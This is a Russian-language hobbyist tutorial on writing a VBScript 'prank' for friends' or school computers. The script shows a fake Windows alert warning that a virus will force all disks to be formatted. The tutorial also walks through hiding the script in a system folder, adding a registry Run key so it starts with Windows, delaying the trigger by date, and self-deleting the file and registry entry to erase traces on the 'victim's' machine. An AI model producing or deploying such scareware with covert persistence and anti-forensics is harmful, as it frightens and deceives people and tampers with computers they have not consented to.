шКодим на VBS - часть 1

VBS zападло - часть 1.

Сегодня поприкалываемся над твоими дружбанами (нет, гвозди не нужны) достаточно компа, пару рук(проапгрейденых до прямых) и голову. Для начала заставим ламеров в истерике трястись из - за , атаки вируса, для этого открывай Блокнот и пиши то, что приведено ниже:

AlterCode = MsgBox("Windows обнаружила, что ваш компьютер был атакован вирусом 'TroyTeamZver'. По правилам компьютерной безопастности система должна отформатировать все установленные жесткие диски. Да - отформатировать диски немедленно. Нет - отформатировать диски после завершения работы компьютера. ",20,"System Alert")

Написал тепрь сохраняй как "message.vbs" в какой-нибудь системной папке типа "C:/Windows/System/" и запускай, если ты делал все как я сказал, то увидишь вот такое окошко.

Круто теперь ламеры грызут ногти и ломаю себе головы, руки, ноги... над тем как же сохранить свою подборку картинок с платных парнушников. Ну а раз все так клево, то давай разберемся, че это я заставил тебя написать, начнем с первой и единственной (пока) строки: мы вызываем объект AlterCode класса MsgBox, а в скобках указываем текст мессаги, какие кнопари нам нужны на форме сообщения и надпись в заголовке. Да, это хорошо, но как сделать так, чтобы кто-нибудь запустил этот скрипт? Можно подменить какой-нибудь ярлык с рабочего стола, но это как-то неприкольно и ненадежно, потому что все сразу что-нибудь да заподозрят, а это нам надо. Гораздо проще сделать запись в автозапуске, чтобы это окно появлялось при запуске Windows. Для этого запускай Пуск->Выполнить->regedit, открывай HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, открывай меню Edit(Правка)->New(Создать)->String Value(Строковой параметр) назавем его Message Start. Теперь дважды кликай на новом параметре и вводи путь к нему, например: "C:/Windows/System/Message.vbs", теперь каждый раз перезагружая комп, ламо будет видеть твое вояние. Но после первой же перезагрузки ламак может заподозрить что-то неладное(а в худшем случае сразу тебя :), хорошо было бы, если скрипт запускался бы только через неделю. Лекго, допустим, что сегодня 7 - мое, а скрипт надо запустить через 12 дней, тогда добавляй ниже приведенное дополние в начало и конец нашего скрипта.

If Day(now)>19 Then

...

End If

Теперь скрипт сработает только после 19 числа. Сам понимаешь, что рано или поздно скрипт найдут, и тебе не скрыться от расплаты. Так что придется добавлять пару строк которые уничтожат все следы от присутствия скрипта на компе жертвы. После доделки скрипт должен выглядеть так:

if Day(now)>19 Then
AlterCode = MsgBox("Windows обнаружила, что ваш компьютер был атакован вирусом 'TroyTeamZver'. По правилам компьютерной безопастности система должна отформатировать все установленные жесткие диски. Да - отформатировать диски немедленно. Нет - отформатировать диски после завершения работы компьютера. ",20,"System Alert")
Set AlterMurder=CreateObject("Scripting.FileSystemObject")
Set WSHShell=WScript.CreateObject("WScript.Shell")
AlterMurder.DeleteFile("C:\WINDOWS\SYSTEM\message.vbs")
WSHShell.RegDelete"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Message Start"
End If

Ну, теперь ты знаешь, что такое VBS и готов доставать своими дурацкими скриптами всех. Кстати если у вас в школе учителя по химие, физике и другим предметам используют компы, то прикинь как ты их удивишь.В следующий раз я расскажу, как замусорить память на компе жертвы элементарным скриптом.

Вернуться к списку.>>>>